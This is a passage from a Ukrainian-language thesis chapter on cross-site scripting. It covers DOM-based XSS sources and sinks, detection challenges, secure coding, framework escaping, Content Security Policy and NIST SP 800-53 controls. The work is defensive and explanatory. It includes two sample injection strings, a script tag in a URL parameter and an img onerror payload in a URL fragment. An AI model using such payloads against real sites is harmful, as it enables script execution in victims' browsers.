5. Важливість швидкої реакції: компанії, які швидко реагували на звіти про вразливості, мінімізували потенційні втрати.

6. Забуті або застарілі компоненти систем часто стають джерелом критичних вразливостей.

Ці випадки підкреслюють необхідність упровадження надійних механізмів валідації та санітизації вхідних даних, регулярного проведення безпекового аудиту всіх компонентів веб-додатків, а також застосування таких захисних інструментів, як Content Security Policy та супутні технічні заходи. Не менш важливими є систематичне навчання розробників принципам безпечного програмування та підтримка Bug Bounty-програм, які дозволяють виявляти вразливості на ранніх етапах.

Додатковим перспективним напрямом боротьби з відображеними XSS-атаками (Reflected XSS) є використання методу PATS (Paths-Attention Method), що дає змогу автоматизовано ідентифікувати потенційно небезпечні фрагменти коду завдяки аналізу синтаксичних шляхів та механізмів уваги. Дослідження Тана Х. та співавторів пропонує модель виявлення відображених XSS-вразливостей (Reflected XSS), що базується на методі уваги до шляхів PATS (Paths-Attention Method). У межах цього підходу дані про потенційно небезпечні фрагменти коду перетворюються у синтаксичні шляхи, отримані з абстрактних синтаксичних дерев, після чого механізми уваги виділяють їхню релевантну семантику. Модель досягає точності 90,25%,

демонструючи ефективність у виявленні відображених XSS і забезпечуючи перехід від суто пасивних заходів захисту до більш проактивних [9].

1.1.3 Атаки через маніпуляцію об’єктною моделлю документа DOM-based XSS-атаки

Особливості клієнтського виконання. Атаки через маніпуляцію Document Object Model представляють фундаментально відмінний підхід до міжсайтового скриптингу порівняно з традиційними серверними формами цієї вразливості. Ключова відмінність полягає в тому, що весь процес атаки відбувається виключно на стороні клієнта, в середовищі браузера користувача, без необхідності передачі шкідливого коду через HTTP-відповідь сервера. Згідно з дослідженнями Bright Security, до п'ятдесяти відсотків веб-сайтів є вразливими до цього типу атак, причому вразливості було виявлено навіть у високопрофільних компаніях, таких як Google, Yahoo та Amazon.

Механізм виконання базується на концепції джерел (sources) та приймачів (sinks) в JavaScript коді. Джерелом є будь-яка властивість JavaScript, яка містить дані, потенційно контрольовані атакуючим. Найпоширенішим джерелом є URL, до якого зазвичай здійснюється доступ через об'єкт window.location. Атакуючий може сконструювати посилання, яке направляє жертву на вразливу сторінку у рядку запиту або фрагменті URL. Приймачем називається потенційно небезпечна JavaScript функція або об'єкт DOM, який може викликати небажані ефекти, якщо йому передані дані, контрольовані атакуючим. Класичними прикладами приймачів є функції eval(), document.write() та властивість innerHTML [11].

Фундаментальна природа цього типу атак полягає в тому, що HTTP-відповідь, яка надходить від сервера, залишається незміненою та не містить шкідливого коду. Натомість JavaScript код на сторінці читає дані з контрольованого атакуючим джерела та передає їх у небезпечний приймач без належної валідації. Браузер створює об'єктну модель документа для сторінки, в якій об'єкт document.location містить повний URL, включаючи параметри запиту. Оригінальний JavaScript код на сторінці не очікує, що

параметри URL можуть містити HTML розмітку, і просто декодує та виводить їх на сторінку в середовищі виконання програми. Браузер потім рендерить результуючу сторінку та виконує шкідливий скрипт атакуючого.

Розглянемо типовий сценарій вразливості. Веб-додаток містить JavaScript код, який читає значення з URL параметра та динамічно вставляє його в DOM через document.write(). Атакуючий створює URL типу http://vulnerable-site.com/page.html?name=<script>malicious_code()</script> та надсилає його жертві. Коли жертва переходить за посиланням, браузер надсилає запит на сервер, який відповідає звичайною сторінкою з JavaScript кодом. Браузер створює DOM для сторінки, де document.location.search містить рядок з шкідливим кодом. JavaScript код витягує значення параметра name з URL та передає його функції document.write(), яка вставляє його безпосередньо в DOM. Оскільки код містить тег script, браузер виконує його в контексті сторінки.

Критична особливість полягає в тому, що шкідливий код ніколи фізично не передається на сервер або не з'являється в HTTP-відповіді. Вся атака відбувається в межах браузера жертви після того, як сторінка була завантажена. Це робить традиційні серверні засоби захисту, такі як Web Application Firewalls, неефективними проти цього класу атак, оскільки вони аналізують лише HTTP трафік між клієнтом та сервером.

Ще одним важливим аспектом є те, що різні браузери можуть поводитися по-різному щодо кодування URL. Chrome, Firefox та Safari автоматично виконують URL-кодування для location.search та location.hash, тоді як Internet Explorer та старі версії Microsoft Edge можуть не виконувати такого кодування. Це означає, що вразливість може проявлятися в одних браузерах, але не в інших, що ускладнює як виявлення, так і експлуатацію. Деякі браузери також можуть автоматично кодувати символи менше та більше в document.URL, коли URL не введений безпосередньо в адресний рядок, що частково захищає від певних типів атак.

Взаємодія з JavaScript. Складність взаємодії JavaScript з об'єктною моделлю документа створює численні можливості для виникнення вразливостей. Document

Object Model є програмним інтерфейсом, який надає розробникам можливість отримувати доступ до документа та маніпулювати ним шляхом виконання операцій. Цей інтерфейс визначає структуру документів, з'єднуючи мову скриптування з фактичною веб-сторінкою. Коли браузер отримує сторінку для завантаження, він парсить структуру сторінки та розділяє різні елементи в деревоподібну структуру, де кожен елемент та атрибут розміщений у відповідному місці ієрархії [12].

Код javascript обробляється та рендериться браузером користувача або під час парсингу сторінки, або навіть під час взаємодії користувача зі сторінкою. У деяких випадках веб-сервери просто відповідають базовою HTML сторінкою з мінімальною розміткою, але з великою кількістю JavaScript коду, який потім обробляє решту взаємодій користувача. Цей підхід допомагає знизити навантаження на сервер, оскільки взаємодії обробляються на стороні клієнта. Однак це також створює більшу поверхню атаки для вразливостей, що виконуються виключно в браузері.

Джерела даних в JavaScript є різноманітними та включають не лише очевидні властивості, такі як document.URL та location.search, але й менш очевидні, такі як document.referrer, window.name, document.cookie, localStorage та sessionStorage. Кожне з цих джерел може бути потенційно контрольоване атакуючим за певних умов. Наприклад, window.name зберігає своє значення при навігації між різними сторінками в межах одного вікна браузера, що дозволяє атакуючому встановити його значення на одній сторінці, а потім експлуатувати на іншій. Властивість document.referrer містить URL попередньої сторінки і може бути контрольована, якщо атакуючий може змусити жертву перейти з контрольованої ним сторінки.

Приймачі також представлені в різних формах з різним ступенем небезпеки. Функція eval() є одним з найнебезпечніших приймачів, оскільки вона виконує будь-який переданий їй рядок як JavaScript код. Метод document.write() записує HTML безпосередньо в потік документа під час його парсингу, що може призвести до виконання вбудованих скриптів. Властивість innerHTML дозволяє встановлювати або отримувати HTML розмітку всередині елемента і може виконувати скрипти за певних

умов. Метод setAttribute() може встановлювати атрибути елементів, включаючи обробники подій, такі як onclick або onerror, які виконують JavaScript код. Функція setTimeout() та setInterval() можуть приймати рядки як перший аргумент, які потім виконуються як код.

Особливо цікавим є випадок використання популярних JavaScript бібліотек, таких як jQuery. Класична вразливість виникала, коли веб-сайти використовували jQuery селектор $() в поєднанні з джерелом location.hash для анімацій або автоматичного прокручування до певного елемента на сторінці. Оскільки hash контролюється користувачем, атакуючий міг використати це для впровадження XSS вектора в приймач $() селектора. Наприклад, URL типу http://site.com/page#<img src=x onerror=alert()> призводив би до того, що jQuery намагався знайти елемент з таким селектором, але натомість створював та виконував код через обробник onerror.

Потік даних від джерела до приймача може бути прямим або проходити через кілька проміжних змінних та функцій. JavaScript код може читати значення з document.location.search, присвоювати його локальній змінній, передавати цю змінну в функцію, яка виконує деяку обробку, а потім повертає результат, який зрештою передається в небезпечний приймач. Кожен крок цього ланцюжка повинен бути проаналізований для розуміння того, чи зберігається можливість впровадження шкідливого коду. Деякі операції з рядками, такі як заміна певних символів або підрядків, можуть бути обійдені через використання альтернативних кодувань або вкладених конструкцій.

Сучасні веб-додатки, побудовані на фреймворках, таких як React, Angular або Vue.js, часто мають складну логіку маршрутизації на стороні клієнта, де URL параметри та фрагменти використовуються для визначення того, який компонент відобразити та які дані завантажити. Ця клієнтська маршрутизація створює численні можливості для вразливостей через маніпуляцію DOM, особливо якщо розробники неправильно обробляють параметри маршруту або використовують небезпечні методи для відображення динамічного контенту. Фреймворки надають деякі

вбудовані захисти, такі як автоматичне екранування в React, але розробники все ще можуть обійти ці захисти, використовуючи небезпечні API, такі як dangerouslySetInnerHTML [13].

Складність виявлення. Виявлення вразливостей через маніпуляцію об'єктною моделлю документа представляє значні технічні виклики, що відрізняють їх від традиційних форм міжсайтового скриптингу. Фундаментальна проблема полягає в тому, що ці вразливості не проявляються в HTML коді джерела сторінки, який можна переглянути через стандартну функцію «View Source» браузера. Шкідливий код виконується в результаті JavaScript маніпуляцій з DOM після завантаження сторінки, тому він видимий лише в реальному часі через інструменти розробника браузера.

Традиційні методи тестування, які добре працюють для reflected та stored форм XSS, виявляються неефективними. Простий підхід впровадження тестового шкідливого навантаження та пошуку його відображення в HTTP-відповіді не працює, оскільки шкідливе навантаження ніколи не надсилається на сервер та не повертається в відповіді. Замість цього тестувальник повинен аналізувати поведінку JavaScript коду в дії, відстежуючи потік даних від джерел до приймачів всередині браузера. Це вимагає глибокого розуміння як JavaScript мови, так і специфіки роботи різних браузерних API.

Процес виявлення зазвичай включає два основні підходи. Перший підхід полягає в ручному аналізі JavaScript коду, де дослідник безпеки повинен переглянути весь клієнтський код, включаючи обфускований та мініфікований JavaScript, шукаючи посилання на потенційні джерела даних. Після виявлення місця, де код читає дані з джерела, необхідно відстежити, як ці дані обробляються та чи передаються вони зрештою в небезпечний приймач. У великих веб-додатках з тисячами рядків JavaScript коду, часто розподіленого між множиною файлів та бібліотек третіх сторін, цей процес стає надзвичайно трудомістким.

Другий підхід використовує інструменти розробника браузера для динамічного аналізу виконання коду. Дослідник вставляє випадковий рядок в потенційне джерело,

наприклад через параметр URL, а потім використовує функцію пошуку в інструментах розробника для відстеження того, де цей рядок з'являється в DOM та як він обробляється JavaScript кодом.

Особливу складність створюють ситуації коли приймачі, які виконують код, але не обов'язково відображають введення в DOM видимим чином. Наприклад, якщо дані передаються в eval() або Function конструктор, візуальних змін на сторінці може не бути, але код все одно виконається. Для виявлення таких випадків необхідно використовувати JavaScript debugger та перевіряти значення змінних безпосередньо перед їх передачею в приймач.

Автоматизовані сканери безпеки традиційно мали обмежений успіх у виявленні цього класу вразливостей, оскільки більшість з них фокусувалися на серверному скануванні та аналізі HTTP трафіку. Однак сучасні інструменти Dynamic Application Security Testing з вбудованими браузерними движками, такі як Burp Suite з розширенням DOM Invader, значно покращили ситуацію. Тим не менш, навіть найкращі автоматизовані інструменти можуть пропустити складні випадки, де потік даних проходить через множину функцій та змінних або де використовуються нестандартні JavaScript конструкції [17].

Мініфікація та обфускація JavaScript коду додатково ускладнюють процес виявлення. Сучасні веб-додатки часто використовують інструменти збірки, які об'єднують множину JavaScript файлів в один, видаляють пробіли та коментарі, скорочують назви змінних та функцій для зменшення розміру файлу. Результуючий код стає практично нечитабельним для людини, що робить ручний аналіз надзвичайно складним. Деякі додатки навіть використовують спеціалізовані обфускатори, які перетворюють код в важко зрозумілу форму з метою захисту інтелектуальної власності. Хоча існують інструменти для деобфускації та форматування такого коду, вони не завжди можуть повністю відновити оригінальну структуру.

Використання сторонніх JavaScript бібліотек та фреймворків створює додатковий рівень складності. Веб-додаток може включати десятки бібліотек від різних

постачальників, кожна з яких має свої власні джерела та приймачі. Вразливість може виникнути не в коді самого додатка, а в одній з цих бібліотек або в способі їх використання. Відстеження потоку даних через код бібліотеки, особливо якщо він мініфікований, вимагає значних зусиль. Крім того, деякі бібліотеки можуть мати відомі вразливості, але розробники можуть не знати про них або не оновлювати бібліотеки до виправлених версій.

Контекстна природа вразливостей також ускладнює виявлення. Один і той же шматок коду може бути вразливим в одному контексті, але безпечним в іншому, залежно від того, які дані передаються та як вони обробляються. Наприклад, передача даних з location.search в innerHTML може бути безпечною, якщо дані спочатку проходять через функцію санітизації, але небезпечною, якщо вони використовуються безпосередньо. Автоматизовані інструменти можуть генерувати false positive, позначаючи безпечний код як вразливий, або false negative, пропускаючи реальні вразливості через неправильне розуміння контексту.

Деякі вразливості можуть проявлятися лише при певних умовах або після певних дій користувача. Наприклад, код може читати дані з localStorage, які були встановлені раніше в результаті іншої операції. Або вразливість може виникати лише після того, як користувач натискає певну кнопку, яка тригерить виконання вразливого коду. Виявлення таких випадків вимагає не лише статичного аналізу коду, але й динамічного тестування з симуляцією різних сценаріїв взаємодії користувача.

Ще одним фактором є те, що багато вразливостей цього типу вимагають взаємодії з користувачем для їх експлуатації, подібно до reflected форми. Атакуючий повинен змусити жертву перейти за спеціально створеним посиланням. Однак на відміну від reflected форми, де шкідливе навантаження видиме в URL та може бути заблоковано email фільтрами або викликати підозри у користувача, тут шкідливий код може бути розміщений у фрагменті URL, який не надсилається на сервер та може виглядати менш підозріло.

1.2 Огляд існуючих методів захисту від XSS-атак

1.2.1 Превентивні методи на етапі розробки та санитизація вхідних даних

Найефективнішим підходом до захисту від XSS-атак є впровадження превентивних заходів безпосередньо на етапі розробки програмного забезпечення. Концепція Security by Design передбачає інтеграцію питань безпеки в кожну фазу життєвого циклу розробки програмного забезпечення, від початкового проектування архітектури до фінального тестування та розгортання. Дослідження показують, що виправлення вразливостей на етапі розробки коштує в десятки разів дешевше, ніж їх усунення після виявлення в production середовищі.

Фундаментальним принципом безпечного кодування є валідація всіх вхідних даних незалежно від їх джерела. Розробники повинні розглядати будь-які дані, що надходять від користувача, з інших систем або з недовірених джерел, як потенційно шкідливі. Валідація включає перевірку типу даних, довжини, формату та діапазону допустимих значень. Рекомендований підхід полягає у використанні стратегії білого списку, коли явно визначається набір дозволених символів або патернів, замість підходу чорного списку, який намагається заблокувати відомі шкідливі конструкції. Практика показує, що чорний список легко обійти через використання альтернативних кодувань, технік обфускації або нових векторів атак.

Context-aware кодування є критично важливим методом захисту, оскільки спосіб обробки даних залежить від контексту їх використання. Дані, що вставляються в HTML контекст, повинні проходити HTML entity encoding, де спеціальні символи, такі як менше, більше, лапки та амперсанд, замінюються на їх HTMLEntity еквіваленти [16]. Для JavaScript контексту необхідне JavaScript encoding, яке екранує символи, що мають спеціальне значення в JavaScript. URL контекст вимагає URL encoding, а CSS контекст потребує CSS encoding. Використання невідповідного типу кодування для певного контексту може призвести до обходу захисту та успішної експлуатації вразливості.

Принцип найменших привілеїв повинен застосовуватися не лише на рівні системних дозволів, але й на рівні коду. JavaScript код повинен мати доступ лише до тих DOM елементів та API, які необхідні для його функціонування. Уникнення використання потенційно небезпечних функцій, таких як eval, innerHTML, document.write та Function конструктор, значно зменшує поверхню атаки. Замість innerHTML рекомендується використовувати textContent або createElement з наступним appendChild для динамічного додавання контенту

1.2.2 Фреймворк-специфічні захисти

Сучасні фреймворки веб-розробки надають вбудовані механізми захисту від XSS, які розробники повинні правильно використовувати. React автоматично екранує значення перед їх рендерингом через JSX, що захищає від більшості XSS атак за замовчуванням. Angular використовує систему sanitization для різних контекстів та автоматично очищає небезпечний контент [17]. Vue.js також забезпечує автоматичне екранування в шаблонах. Однак важливо розуміти, що ці захисти можна обійти через використання небезпечних API, таких як dangerouslySetInnerHTML в React або bypass security trust методів в Angular. Розробники повинні уникати таких конструкцій або використовувати їх лише після ретельної санітизації даних спеціалізованими бібліотеками.

1.2.3 Content Security Policy

Content Security Policy (CSP) є механізмом безпеки, що дозволяє веб-розробникам контролювати ресурси, які браузер може завантажувати та виконувати на веб-сторінці. CSP працює через HTTP заголовок Content-Security-Policy, в якому вказуються директиви, що визначають дозволені джерела для скриптів, стилів, зображень та інших ресурсів. Основне призначення CSP полягає у створенні додаткового рівня захисту від XSS-атак шляхом обмеження можливості виконання недовіреного коду. Навіть якщо атакуючому вдається впровадити шкідливий скрипт

у сторінку через вразливість, CSP може заблокувати його виконання, оскільки він не відповідає визначеним політикам безпеки. Директива script-src визначає, звідки дозволено завантажувати JavaScript, тоді як default-src встановлює політику за замовчуванням для всіх типів ресурсів [18].

Підходи nonce-based та hash-based представляють найефективніші методи конфігурації CSP для захисту від XSS [19]. Nonce-based CSP використовує криптографічно випадкові значення, що генеруються сервером для кожного запиту та додаються до атрибута nonce легітимних script тегів. Браузер виконує лише скрипти з правильним nonce, що робить неможливим виконання впроваджених атакуючим скриптів без знання цього значення. Hash-based підхід дозволяє вказати криптографічний хеш inline скрипту в CSP заголовку, який браузер обчислює та порівнює перед виконанням [20]. Директива 'strict-dynamic' в CSP Level 3 дозволяє скриптам з правильним nonce або hash динамічно завантажувати інші скрипти [21].

Конфігурації Strict CSP являють собою підхід до побудови політик безпеки контенту, що фокусується на максимальному захисті при мінімальній складності підтримки. Компанія Google рекомендує використовувати комбінацію nonce-based політики з 'strict-dynamic' директивою для нових проектів, оскільки це забезпечує найкращий баланс між безпекою та зручністю розробки. Типова strict CSP виглядає як Content-Security-Policy: script-src 'nonce-random123' 'strict-dynamic'; object-src 'none'; base-uri 'none', де random123 є унікальним значенням для кожного запиту, directive object-src 'none' блокує завантаження плагінів, таких як Flash, а base-uri 'none' запобігає атакам через впровадження base тегу. Для додатків з існуючим inline скриптом рекомендується поступова міграція через використання CSP в report-only режимі, який не блокує порушення політики, а лише надсилає звіти про них на вказаний вузол через директиву report-uri або новішу report-to [22]. Це дозволяє розробникам ідентифікувати всі місця, де потрібно додати nonce атрибути або переробити код, перш ніж активувати політику в enforcement режимі. Важливо також включити в strict

CSP політику захист від clickjacking через frame-ancestors директиву та контроль над navigation запитами через navigate-to, що забезпечує комплексний захист.

1.3 Аналіз фреймворку NIST SP 800-53 для захисту від XSS

1.3.1 Огляд стандарту NIST SP 800-53

Проблема забезпечення цілісності, конфіденційності та доступності інформації є ключовою для сучасних інформаційних систем. Національний інститут стандартів і технологій (NIST) у Спеціальній Публікації 800-53, Редакція 5 (NIST SP 800-53 R5), надає каталог контролів безпеки та конфіденційності, призначений для захисту організацій та їх активів від різноманітних загроз, включаючи ворожі атаки та людські помилки [14].

Атака типу міжсайтовий скриптинг (Cross-Site Scripting, XSS) є критичною вразливістю, яка виникає, коли веб-додатки дозволяють зловмисникам вбудовувати зловмисні сценарії у вивід, що відображається іншим користувачам. Хоча XSS є технічною вразливістю на рівні додатків, її пом'якшення вимагає багатошарового підходу, який поєднує безпосередні технічні заходи на рівні обробки даних (Application Integrity) та фундаментальні архітектурні принципи ізоляції (System and Communications Protection).

Даний аналіз зосереджений на п'яти ключових контролях NIST SP 800-53 версії 5: SI-10 (Information Input Validation), SI-15 (Information Output Filtering), SI-16 (Memory Protection), SC-2 (Separation of System and User Functionality) та SC-3 (Security Function Isolation) [15]. Ці контролі, хоча й належать до різних сімейств (Цілісність Системи та Інформації (SI) та Захист Системи та Комунікацій (SC)), спільно створюють надійний захист для запобігання, виявлення та обмеження наслідків успішної XSS-атаки.

1.3.2 Застосування контролів NIST SP 800-53 для захисту від XSS

Контроль SI-10: Перевірка Вхідної Інформації (Information Input Validation)

Контроль SI-10 вимагає перевірки валідності визначених організацією інформаційних вхідних даних, що надходять до системи. Цей контроль є первинною лінією захисту на рівні програми проти атак ін'єкцій, до яких належить і XSS.

Перевірка вхідних даних за контролем SI-10 включає перевірку валідного синтаксису та семантики введених даних, таких як набір символів, довжина, числовий діапазон і прийнятні значення. Мета полягає в тому, щоб гарантувати, що вхідні дані відповідають визначеним специфікаціям формату та вмісту.

NIST явно зазначає, що перевірка вхідних даних забезпечує точні та коректні вхідні дані та запобігає атакам, таким як міжсайтовий скриптинг (cross-site scripting) і різноманітним атакам ін'єкцій (injection attacks).

Критичний аспект XSS полягає у використанні додатком вхідних даних, наданих зловмисником, для конструювання структурованих повідомлень (команд або запитів) без належного кодування. Якщо вхідні дані не перевіряються, зловмисник може вставити зловмисні команди або спеціальні символи, які можуть бути інтерпретовані як керуюча інформація або метадані, змушуючи модуль або компонент виконувати неправильні операції.

Захист, передбачений SI-10, включає:

- попередню перевірку (Prescreening): перевірка вхідних даних перед передачею їх інтерпретаторам запобігає їхньому ненавмисному тлумаченню як команд;
- запобігання ін'єкціям (Injection Prevention): це може бути досягнуто за допомогою параметризованих інтерфейсів, які фізично відокремлюють дані від коду, запобігаючи зміні семантики команд зловмисними даними, або за допомогою вихідного екранування (output escaping);

– обмеження джерел та форматів (SI-10(5)): обмеження використання вхідних даних лише довіреними джерелами та затвердженими форматами знижує ймовірність зловмисної активності.

Таким чином, SI-10 є найбільш прямим і дієвим технічним контролем для запобігання вбудовуванню зловмисного коду, характерного для XSS.

Контроль SI-15: Фільтрація Вихідної Інформації (Information Output Filtering)

Хоча SI-10 фокусується на запобіганні входу поганих даних, SI-15 слугує критично важливим шаром компенсаційного контролю, орієнтованого на результат обробки.

Контроль SI-15 вимагає перевіряти вихідну інформацію з визначених програм/додатків, щоб переконатися, що вона відповідає очікуваному вмісту. Це особливо важливо для веб-додатків, де вихідні дані формуються динамічно, часто використовуючи дані, отримані раніше.

Роль у Багатошаровому Захисті (Defense-in-Depth)

У контексті XSS, успішна атака часто призводить до того, що раніше введені зловмисні дані (не виявлені SI-10) згодом виводяться (відображаються) іншому користувачеві. Якщо додаток схильний до XSS, це означає, що він не зміг належним чином екранувати небезпечні символи при виводі даних (Output Encoding).

SI-15 забезпечує другий, автоматизований огляд. Він фокусується на виявленні стороннього вмісту (extraneous content), запобіганні його відображенню та інформуванні засобів моніторингу про виявлення аномальної поведінки. Хоча в описі контролю прямо згадуються ін'єкції SQL, принцип виявлення «стороннього вмісту» застосовується і до вбудованих тегів HTML або JavaScript, які становлять XSS-навантаження. Якщо вихідний потік містить несподівані чи невідповідні результати, які не відповідають очікуваній структурі, SI-15 активується.

Таким чином, SI-15 діє як запобіжний захід, який обмежує шкоду, навіть якщо іншим запобіжним заходам (наприклад, SI-10 або внутрішньому вихідному кодуванню) не вдалося запобігти вбудовуванню зловмисного коду.

Контроль SI-16: Захист Пам'яті (Memory Protection)

Контроль SI-16 вимагає впровадження визначених організацією контролів для захисту системної пам'яті від несанкціонованого виконання коду. Хоча XSS є переважно вразливістю веб-додатків, яка призводить до виконання коду в браузері клієнта, SI-16 залишається фундаментальним захисним бар'єром для цілісності сервера.

SI-16 розроблений для запобігання спробам зловмисників виконувати код у невиконуваних (non-executable) або заборонених областях пам'яті. Контролі, що використовуються для захисту пам’яті, включають запобігання виконанню даних (Data Execution Prevention, DEP) та рандомізацію розташування адресного простору (Address Space Layout Randomization, ASLR). Апаратне забезпечення DEP пропонує більшу надійність механізму.

У контексті веб-безпеки, SI-16 є важливим для захисту від сценаріїв, де зловмисник намагається використати XSS для отримання початкового плацдарму, а потім об’єднати його з іншою вразливістю (наприклад, переповнення буфера або експлойт в інтерпретаторі), щоб досягти виконання коду на сервері (якщо веб-додаток працює у скомпрометованому процесі) або для компрометації клієнтських систем.

SI-16 є прикладом архітектурного контролю цілісності, який обмежує кінцеву шкоду від ін'єкційних атак: навіть якщо шкідливий сценарій завантажується та запускається, SI-16 ускладнює чи унеможливлює виконання скомпрометованим процесом дій, що порушують цілісність сервера або його даних.

Архітектурна Ізоляція: SC-2 та SC-3

Контролі сімейства SC (System and Communications Protection) забезпечують необхідну архітектурну ізоляцію, яка є наріжним каменем захисту «ешелонованої

оборони» (defense-in-depth). Ці механізми необхідні для обмеження поширення атаки, якщо первинні засоби захисту (SI-10, SI-15) були обійдені.

SC-2: Поділ Системних та Користувацьких Функцій (Separation of System and User Functionality)

Контроль SC-2 вимагає відділення функцій користувачів, включаючи сервіси користувацького інтерфейсу, від функцій системного управління.

У веб-середовищі, функціональність системного управління, яка, як правило, вимагає привілейованого доступу (наприклад, адміністрування баз даних або мережевих компонентів), повинна бути ізольована від загальнодоступних або користувацьких функцій, де зазвичай експлуатується XSS.

Розділення може бути фізичним (використання різних комп'ютерів, віртуалізація) або логічним (різні екземпляри ОС, процесори, мережеві адреси). Важливо, що адміністративні веб-інтерфейси мають бути ізольовані в різних доменах та захищені додатковими контролями доступу.

Захист від XSS через SC-2: Якщо XSS-атака успішна, вона зазвичай націлена на несанкціонований доступ до даних користувача або виконання дій в межах його поточної сесії. Якщо привілейовані функції (наприклад, адміністративна консоль) відокремлені та ізольовані відповідно до SC-2, компрометація непривілейованої користувацької сесії не надасть зловмиснику доступу до функцій управління. Таким чином, SC-2 обмежує горизонтальне поширення зловмисного впливу в системі.

SC-3: Ізоляція Функцій Безпеки (Security Function Isolation)

Контроль SC-3 є більш фундаментальним, ніж SC-2, оскільки він стосується ізоляції не просто функцій управління, а саме функцій безпеки від небезпекових функцій.

Функції безпеки (наприклад, ядро безпеки, механізми контролю доступу) ізолюються за допомогою ізоляційного кордону (partitions and domains), який захищає цілісність обладнання, програмного забезпечення та прошивки, що виконують ці функції. Досягнення ізоляції часто вимагає використання принципів системної

інженерії, таких як мінімізація елементів безпеки та зменшення складності, що є ключовим для підвищення довіри (trustworthiness) до системи.

Захист від XSS через SC-3: Якщо зловмисник використовує XSS для маніпуляції веб-додатком, а той, у свою чергу, намагається отримати доступ до базових механізмів безпеки (наприклад, для обходу контролю автентифікації або аудиту), SC-3 забезпечує, що:

- цілісність зберігається: помилка або компрометація небезпекової функції (наприклад, веб-рендерингу) не може безпосередньо скомпрометувати або змінити привілейований код, який застосовує політику безпеки;
- принцип найменших привілеїв: доступ до функцій безпеки обмежений механізмами контролю доступу та принципом найменших привілеїв.

Мінімізація небезпекових функцій у межах ізоляційного кордону суттєво зменшує обсяг коду, якому довіряють для забезпечення дотримання політики безпеки, що підвищує зрозумілість і, відповідно, стійкість до атак.

Захист від міжсайтового скриптингу вимагає інтегрованого підходу до управління ризиками, що охоплює як безпосередню обробку даних, так і архітектурну стійкість.

Контролі SI-10 (Information Input Validation) та SI-15 (Information Output Filtering) є основними технічними засобами, які безпосередньо запобігають ін'єкції зловмисного коду та фільтрують несподівані результати, забезпечуючи цілісність даних, що обробляються веб-додатком. Вони є першими ешелонами захисту, які запобігають вбудовуванню і виконанню зловмисного сценарію.

Контроль SI-16 (Memory Protection) захищає саму операційну середу сервера, запобігаючи використанню зловмисниками (які, можливо, проникли через ін'єкцію) механізмів виконання несанкціонованого коду в пам’яті, підвищуючи загальну цілісність системи.

Архітектурні контролі SC-2 (Separation of System and User Functionality) та SC-3 (Security Function Isolation) забезпечують необхідний захист у випадку, якщо перші

ешелони оборони не спрацювали. Вони, відповідно, гарантують, що компрометація веб-додатку не призведе до компрометації привілейованих адміністративних функцій (SC-2) або критично важливих механізмів безпеки (SC-3). Ці контролі втілюють принцип ешелонованої оборони, стратегічно розподіляючи захисні механізми, щоб зловмисник повинен був подолати кілька рівнів захисту.

Застосування цих контролів NIST SP 800-53 R5 дозволяє організаціям не тільки відповідати мінімальним вимогам безпеки, але й будувати надійні, стійкі системи, здатні витримувати та обмежувати наслідки складних атак, таких як XSS.

1.3.3 Інтеграція NIST SP 800-53 з OWASP практиками

Національний інститут стандартів і технологій (NIST) у Спеціальній Публікації 800-53, Редакція 5, пропонує вичерпний каталог контролів безпеки та конфіденційності, розроблений для захисту організаційних операцій, активів та окремих осіб від різноманітних загроз. Ці контролі є гнучкими та налаштовуваними і призначені для впровадження в рамках загальноорганізаційного процесу управління ризиками.

Незважаючи на те, що NIST SP 800-53 R5 є фундаментальним документом, обов'язковим для федеральних інформаційних систем США (відповідно до стандартів FISMA та OMB A-130), він також заохочує інші організації, включаючи державні, місцеві, племінні уряди та організації приватного сектору, розглянути можливість використання цих настанов. Природа контролів NIST є нейтральною до політики, технології та сектору, що дає змогу застосовувати їх до всіх типів обчислювальних платформ – від загальноцільових систем до хмарних сервісів та пристроїв IoT.

Тоді як NIST надає що робити (тобто, визначає необхідні захисні заходи, такі як перевірка вхідної інформації – SI-10, або контроль змін – CM-3), галузеві ініціативи, такі як Open Web Application Security Project (OWASP), зосереджуються на як це робити у специфічному контексті веб-додатків. Інтеграція між цими двома підходами є критично важливою для створення систем, які є достатньо надійними.

Взаємодоповнюваність та Спеціалізація Контролів. Інтеграція NIST SP 800-53 з практиками OWASP відбувається на рівні імплементації, де високоуровневі вимоги NIST деталізуються за допомогою практичних технічних настанов OWASP. NIST активно сприяє такій інтеграції, співпрацюючи з іншими організаціями для встановлення відображень та зв'язків між своїми стандартами та стандартами, розробленими іншими суб’єктами.

Висновки до першого розділу

У першому розділі проведено комплексний аналіз проблеми XSS-атак та існуючих методів захисту, що дозволило сформувати теоретичний фундамент для подальшого експериментального дослідження ефективності бібліотек санітизації HTML. Систематизація знань про класифікацію, механізми та методи протидії XSS-атакам виявила ключові прогалини у сучасних підходах до захисту та обґрунтувала необхідність розробки комплексної методології оцінювання санітизаційних рішень.

Аналіз класифікації XSS-атак показав фундаментальну різницю між трьома основними типами, кожен з яких вимагає специфічних підходів до захисту. Збережені XSS-атаки представляють найбільшу загрозу через можливість масової компрометації застосунку внаслідок збереження шкідливого коду на сервері. Відображені XSS-атаки залишаються поширеним вектором через легкість створення шкідливих посилань у фішингових кампаніях. DOM-based XSS атаки представляють особливий інтерес через повністю клієнтську природу, що дозволяє обходити традиційні серверні механізми захисту. Зростання складності односторінкових застосунків та інтенсивне використання JavaScript створює розширену поверхню атаки через небезпечні API типу innerHTML, eval() та document.write().

Огляд превентивних методів захисту продемонстрував еволюцію від простого фільтрування на основі чорного списку до складних санітизаційних механізмів з контекстуальною обізнаністю. Критичним висновком є систематичні прогалини

самописних санітайзерів через недооцінку складності парсингу HTML. Мутаційні XSS-атаки, що експлуатують різницю між парсингом санітайзера та браузера, підкреслюють необхідність використання перевірених бібліотек, які базуються на правильному парсері HTML та регулярно оновлюються.

Аналіз захистів фреймворків виявив суттєві відмінності у підходах до автоматичної санітизації. React демонструє консервативний підхід з автоматичним кодуванням для всіх даних через JSX, однак dangerouslySetInnerHTML при неправильному використанні створює критичні вразливості. Angular впроваджує механізм довірених типів для контролю небезпечних операцій з DOM, але вимагає явного позначення довіреного контенту. Vue.js надає директиви для безпечного відображення тексту та небезпечного HTML, не забезпечуючи вбудованої санітизації для останньої.

Content Security Policy виявилася потужним додатковим механізмом захисту, що значно зменшує поверхню атаки навіть при наявності XSS вразливостей. Конфігурації на основі одноразових міток та хешів є найефективнішими, дозволяючи повністю заборонити вбудовані скрипти та eval-подібні конструкції. Директива strict-dynamic вирішує проблему динамічного завантаження у SPA, дозволяючи скриптам з правильною міткою завантажувати інші скрипти. Однак впровадження строгої CSP часто блокується застарілим кодом та сторонніми бібліотеками, що вимагає поступової міграції через режим звітування.

